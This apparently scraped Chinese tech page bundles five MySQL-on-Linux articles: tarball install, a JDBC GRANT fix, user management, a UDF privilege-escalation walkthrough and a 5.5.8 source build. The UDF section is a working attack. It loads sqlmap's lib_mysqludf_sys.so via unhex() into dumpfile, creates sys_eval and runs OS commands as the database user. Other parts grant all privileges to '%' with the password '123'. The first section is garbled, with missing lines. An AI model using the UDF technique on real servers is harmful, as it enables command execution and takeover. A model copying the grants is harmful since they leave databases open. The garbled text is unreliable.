最近很多小伙伴都在问Linux学习_mysql这两个问题,那么本篇文章就来给大家详细解答一下,同时本文还将给你拓展linuxmysqljdbc权限问题_MySQL、linuxmysql用户管理_MyS
最近很多小伙伴都在问Linux 学习_mysql这两个问题,那么本篇文章就来给大家详细解答一下,同时本文还将给你拓展linux mysql jdbc 权限问题_MySQL、linux mysql用户管理_MySQL、Linux UDF Mysql提权_MySQL、Linux 下 MySQL 5.5.8 源码编译安装记录_MySQL等相关知识,下面开始了哦!
本文目录一览:- Linux 学习_mysql
- linux mysql jdbc 权限问题_MySQL
- linux mysql用户管理_MySQL
- Linux UDF Mysql提权_MySQL
- Linux 下 MySQL 5.5.8 源码编译安装记录_MySQL
Linux 学习_mysql
MysqL
下载地址:
下载:MysqL-standard-4.1.21-pc-linux-gnu-i686.tar.gz
MysqL
数据库
tar -zxvf MysqL-standard-4.1.21-pc-linux-gnu-i686.tar.gz
MysqL组
groupadd MysqL
用户并放入到MysqL组
useradd -g MysqL MysqL_hongten
MysqL安装目录
cd /home/MysqL
MysqL_hongten
文件的所有者
chown -R root .
一个点"."
文件夹的所有者
chown -R MysqL data
用户组
chgrp -R MysqL .
注意:后面有一个点"."
MysqL
bin/MysqLd_safe --user= MysqL_hongten &
MysqL操作界面
MysqL/bin
MysqL -u root -p
MysqL数据库
vi /etc/profile
退出,再退出:
logout
MysqL
MysqL -u root -p
MysqL在linux上面就安装成功了,大功告成.....
data.bak
注:这里要进入MysqL的安装目录的lib目录下,我的MysqL安装路径是:/home/MysqL/lib
/home/MysqLdump.bak
数据库名 < data.bak
MysqLdump.bak
linux mysql jdbc 权限问题_MySQL
首先进入
mysql> GRANT ALL PRIVILEGES ON [dbname].* to ''[user]''@''[hostname]''
identified by ''[password]'';
异常:
当运行 DateTest 时屏幕提示 “Server configuration denies access to data source”
解决方法:
首先进入 mysql 并以 root 登陆,随后输入如下内容。
mysql> GRANT ALL PRIVILEGES ON [dbname].* to ''[user]''@''[hostname]''
identified by ''[password]'';
(注意:这里将 dbname 替换成你的数据库名称,在 DateTest 中是 test;将 user 替换成你的用户名,笔者的是 root;将 hostname 替换成 java 程序运行时所在的机器,笔者是在本机运行,即为''localhost'';将 password 替换成你mysql中用户的密码,笔者的没有密码,即为''''。)
linux mysql用户管理_MySQL
bitsCN.com
一、root用户密码的维护: 由于安装MySQL完后,MySQL会自动提供一个不带密码的root用户,为了安全起见给root设置密码: #mysqladmin -u root password 123 (123为密码,也可以写成:''123''或"123") ; 设置密码后登入时就不能直接输入mysql了,必须跟些参数了,如下: [root@localhost ~]# mysql -u root -p (-u 后跟登入的用户名,-p 提示要密码登入) Enter password:(输入密码) 修改密码: [root@localhost ~] #mysqladmin -u root -p password 123456 (password 后跟的是要更新的新密码) Enter password:(输入原始密码,回车即可) 二、其他用户的增加和删除: 以root用户登入,在mysql中有一张mysql.user表是存储MySQL中所有用户的信息表,所以可以直接增加删除这个表的记录就可增加和删除用户; 1.添加用户(有两种形式): A.mysql> grant all on *.* to yushan@"%" identified by "123" ; mysql>flush privileges; (刷新系统权限表) (执行完会在mysql.user表插入一条记录,all表示--所有权限(包括增 删 改 查等权限), *.* 表示所有数据库,yushan为添加的用户名,123为密码,%为匹配的所有主机,上面的信息都可以指定如grant select,update on db.* to yushan@localhost identified by ''123";) B.直接对mysql.user添加一条记录 mysql> insert into mysql.user(Host,User,Password) values("localhost","yusuhan",password("123")); mysql>flush privileges; 这样就创建了一个名为:yushan 密码为:123 (密码是经过加密的 ) 的用户,不过这样没有权限因为只添加了三个字段,也可通过grant添加权限: mysql>grant all on *.* to yushan@localhost identified by ''123"; mysql>flush privileges;(刷新系统权限表) (这种好像有点
Linux UDF Mysql提权_MySQL
环境:
os:linux(bt5)
database:mysql
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
要求:
在mysql库下必须有func表,并且在skipgranttables开启的情况下,UDF会被禁止;
过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令
1,得到插件库路径
?1234567 |
mysql> show variableslike"%plugin%"; +---------------+-----------------------+ | Variable_name | Value |+---------------+-----------------------+ | plugin_dir| /usr/lib/mysql/plugin |+---------------+-----------------------+ 1 rowinset(0.00 sec) |
2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可
?123456 |
root@bt:/pentest/database/sqlmap/udf/mysql# ls linuxwindowsroot@bt:/pentest/database/sqlmap/udf/mysql/linux# ls root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls lib_mysqludf_sys.so |
3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
mysql> select hex(load_file(''/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so'')) into outfile ''/tmp/udf.txt'';
Query OK, 1 row affected (0.04 sec)
因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限
root@bt:~# chmod 777 /usr/lib/mysql/plugin
数据库中写入udf库到mysql库目录:
mysql> select unhex(''7F454C46020...'') into dumpfile ''/usr/lib/mysql/plugin/mysqludf.so'';
Query OK, 1 row affected (0.04 sec)
查看下这个udf库所支持的函数
?123456789101112131415161718192021222324252627282930313233343536373839404142 |
root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so w _Jv_RegisterClasses A __bss_start w __cxa_finalize w __gmon_start__ A _edata A _end T _fini 0000000000000ba0 T _initU fgets U fork U free U getenv 000000000000101a T lib_mysqludf_sys_info0000000000000da4 T lib_mysqludf_sys_info_deinitT lib_mysqludf_sys_info_init U malloc U mmap U pclose U popen U realloc U setenv U strcpy U strncpy 0000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init0000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_initT sys_exec 0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T sys_set00000000000010e8 T sys_set_deinit0000000000000f80 T sys_set_initU sysconf U system U waitpid |
最后,加载函数并执行:
?123456789101112131415161718 |
mysql>createfunctionsys_evalreturnsstring soname"mysqludf.so"; Query OK, 0rowsaffected (0.14 sec) mysql>selectsys_eval(''whoami''); +--------------------+ | sys_eval(''whoami'') | +--------------------+ | mysql|+--------------------+ 1 rowinset(0.04 sec) mysql>select*frommysql.func; +----------+-----+-------------+----------+ |name | ret | dl| type | +----------+-----+-------------+----------+ | sys_eval | 0 | mysqludf.so |function| +----------+-----+-------------+----------+ 1 rowinset |
Linux 下 MySQL 5.5.8 源码编译安装记录_MySQL
bitsCN.com
系统:ubuntu 10.10
mysql源码文件:mysql-5.5.8.tar.gz
安装所需工具:cmake, GNU make, gcc, Perl, libncurses5-dev, bison(可选), chkconfig
注:
1.官方2010-11-18的源码有几处bug,在编译之前参照官方的说明,进行了手动修改。
官方说明链接:http://lists.mysql.com/commits/126782
2.官方5.5版本参考手册:http://dev.mysql.com/doc/
汗了一下,3392页的参考手册!
=>工具安装:
1. cmake
----没有自己编译安装cmake
----shell:~$ sudo apt-get install cmake
----版本:2.8.2
2. GNU make
----Ubuntu自带
----版本:3.81
3.GCC
----Ubuntu自带
----版本:4.4.5(官方文档:必须3.2以上)
4.Perl
----Ubuntu自带
----版本:5.10.1
5.libncurses5-dev (ncurses-devel)
----若差了这个包,在cmake的时候会报错。
----Debian/Ubuntu上的包名是libncurses5-dev,RedHat和其他版本对应的是ncurses-devel
----shell:~$ sudo apt-get install libncurses5-dev
----报错信息
------------------www.
-- MySQL 5.5.8
-- Could NOT find Curses (missing: CURSES_LIBRARY CURSES_INCLUDE_PATH)
CMake Error at cmake/readline.cmake:82 (MESSAGE):
Curses library not found. Please install appropriate package,
remove CMakeCache.txt and rerun cmake.On Debian/Ubuntu , package name is libncurses5-dev ,
on RedHat and derivates it is ncurses-devel.
Call Stack (most recent call first):
cmake/readline.cmake:126 (FIND_CURSES)
cmake/readline.cmake:216 (MYSQL_USE_BUNDLED_LIBEDIT)
CMakeLists.txt:256 (MYSQL_CHECK_READLINE)
-- Configuring incomplete, errors occurred!
---------------------------------
6. bison
----shell:~$ sudo apt-get install bison
----可选。没有这个工具,在make的时候报出警告。
----警告记录:
---------------------------------
Warning: Bison executables not found in PATH
---------------------------------
7.chkconfig
----后面配置mysql服务自启动的时候需要。
----shell:~$ sudo apt-get install chkconfig
=>mysql安装:
1.解压源代码文件
----shell定位到源代码文件所在目录
----解压
shell:~$ tar zxvf mysql-5.5.8.tar.gz
2.cmake操作
----shell定位到解压出的源代码文件夹目录(文件夹:mysql-5.5.8)
----cmake执行:
---------------------------------
shell:~$ cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql
-DMYSQL_DATADIR=/home/system_username/Programming/mysql/mysqldata
-DSYSCONFDIR=/etc
-DWITH_INNOBASE_STORAGE_ENGINE=1
-DWITH_ARCHIVE_STORAGE_ENGINE=1
-DWITH_BLACKHOLE_STORAGE_ENGINE=1
-DWITH_FEDERATED_STORAGE_ENGINE=1
-DWITH_PARTITION_STORAGE_ENGINE=1
-DMYSQL_UNIX_ADDR=/tmp/mysqld.sock
-DMYSQL_TCP_PORT=3306
-DENABLED_LOCAL_INFILE=1
-DEXTRA_CHARSETS=all
-DDEFAULT_CHARSET=utf8
-DDEFAULT_COLLATION=utf8-general_ci
-DMYSQL_USER=mysql
注:没有换行。官方文档上,cmake 命令后面加个点不懂什么意思。在这里加上命令执行不了
---------------------------------
源代码配置选项说明:
//mysql安装的主目录,5.5.8版本默认为/usr/local/mysql,所以可以不添加
-DCMAKE_INSTALL_PREFIX=/usr/local/mysql
//mysql数据保存的路径,自定义
-DMYSQL_DATADIR=/home/system_username/mysql/mysqldata
//mysql配置文件地址------The default my.cnf option file directory
-DSYSCONFDIR=/etc
//Compile storage engine xxx statically into server
/*Storage engines are built as plugins. You can build a plugin as a static module (compiled into the server)
*or a dynamic module (built as a dynamic library that must be installed into the server using the INSTALL
*PLUGIN statement or the --plugin-load option before it can be used). Some plugins might not support static
*or dynamic building.
*/
-DWITH_INNOBASE_STORAGE_ENGINE=1
-DWITH_ARCHIVE_STORAGE_ENGINE=1
-DWITH_BLACKHOLE_STORAGE_ENGINE=1
-DWITH_FEDERATED_STORAGE_ENGINE=1
-DWITH_PARTITION_STORAGE_ENGINE=1
//Unix socket file
/*
*The Unix socket file path on which the server listens for socket connections. This must be an absolute path
*name. The default is /tmp/mysql.sock
*/
-DMYSQL_UNIX_ADDR=/tmp/mysqld.sock
//数据库服务器TCP/IP连接的监听端口,默认为3306
-DMYSQL_TCP_PORT=3306
//Whether to enable LOCAL capability in the client library for LOAD DATA INFILE
//默认为关闭,这里开启
-DENABLED_LOCAL_INFILE=1
//数据库编码设置
-DEXTRA_CHARSETS=all
-DDEFAULT_CHARSET=utf8
-DDEFAULT_COLLATION=utf8-general_ci
3.编译和安装
----shell定位到源代码文件夹目录
----执行:(编译用了大概20分钟)
shell:~$ make
shell:~$ make install
4.后续配置
----进入mysql安装目录下的脚本目录
shell:~$ cd /usr/local/mysql/scripts
----利用mysql_install_db脚本生成新的MySQL 授权表
./mysql_install_db --basedir=/usr/local/mysql --datadir=/home/system_username/Programming/mysql/mysqldata
--user=mysql
----进入mysql安装目录下的支持文件目录
shell:~$ cd /usr/local/mysql/support-files
----复制mysql配置文件
shell:~$ sudo cp my-medium.cnf /etc/my.cnf
----复制服务文件并修改
shell:~$ sudo cp mysql.server mysqld
----修改mysqld
basedir=/usr/local/mysql
datadir=/home/mysql
mv mysqld /etc/init.d/mysqld
----启动服务
shell:~$ service mysqld start
----关闭服务
shell:~$ service mysqld stop
---------------------------------
service命令:
1. 用于管理Linux系统中服务的命令
2. 作用是去/etc/init.d目录下寻找相应的服务,进行开启和关闭等操作
3. 上述操作后,mysqld服务文件对应mysql.server文件
---------------------------------
----添加服务到自启动项
shell:~$ sudo chkconfig --level 3 mysqld on
----设置软连接使mysql, mysqldump, mysqladmin这三个命令能在shell中直接运行
shell:~$ sudo ln -s /usr/local/mysql/bin/mysql /usr/bin
shell:~$ sudo ln -s /usr/local/mysql/bin/mysqldump /usr/bin
shell:~$ sudo ln -s /usr/local/mysql/bin/mysqladmin /usr/bin
---------------------------------
=>mysql数据库中文乱码解决 :
1. 乱码分析
----从终端shell进入mysql
shell:~$ mysql
............
............
mysql> show variables like ''%character%''
----得到以下数据库编码信息表:
+----------------------------------- +-------------------------------------------+
| Variable_name | Value |
+------------------------------------+-------------------------------------------+
| character_set_client | utf8 |
| character_set_connection | utf8 |
| character_set_database | latin1 |
| character_set_filesystem | binary |
| character_set_results | utf8 |
| character_set_server | latin1 |
| character_set_system | utf8 |
| character_sets_dir | /usr/local/mysql/share/charsets/ |
+------------------------------------ +-------------------------------------------+
可以看出character_set_database ,character_set_server 的编码还是默认的latin1。
不知道为什么,之前DEFAULT_CHARSET设置成为utf8的,好像没起作用。查看官方文档
发现,character_set_database不支持配置文件(/etc/my.cnf)变量设置,
但是character_set_server 支持配置文件变量设置。
2. 解决办法
----打开配置文件
shell:~$ sudo gedit /etc/my.cnf
然后在[mysqld]配置选项下添加
character-set-server = utf8
----然后进入mysql
执行:
mysql> show variables like ''%character%''
结果:character_set_database ,character_set_server两项都变为utf8了
----测试:
往数据库表中插入中文字段,中文就正常显示了。
注:1.用5.1版本的时候如下方法是可以解决中文编码问题的
----在配置文件[mysqld]和[client]节下分别添加: default-character-set = utf8
2.不知到是不是手动编译的原因,在5.5.8中配置文件中用上述方法会造成数据库服务无法启动。
----错误日志如下:( datadir/username.err为错误日志文件)
----------------------------------------------------
mysqld_safe mysqld from pid file /home/cyberwym/Programming/mysql/mysqldata/cyberwym.pid ended
...........
...........
[ERROR] /usr/local/mysql/bin/mysqld: unknown variable ''default-character-set=utf8''
[ERROR] Aborting
----------------------------------------------------
----这样会造成pid文件(datadir/username.pid)无法更新
----在配置文件[mysqld]和[client]节下分别去掉: default-character-set = utf8 后,数据库服务就启动正常了
bitsCN.com
关于Linux 学习_mysql的问题就给大家分享到这里,感谢你花时间阅读本站内容,更多关于linux mysql jdbc 权限问题_MySQL、linux mysql用户管理_MySQL、Linux UDF Mysql提权_MySQL、Linux 下 MySQL 5.5.8 源码编译安装记录_MySQL等相关知识的信息别忘了在本站进行查找喔。
本文标签: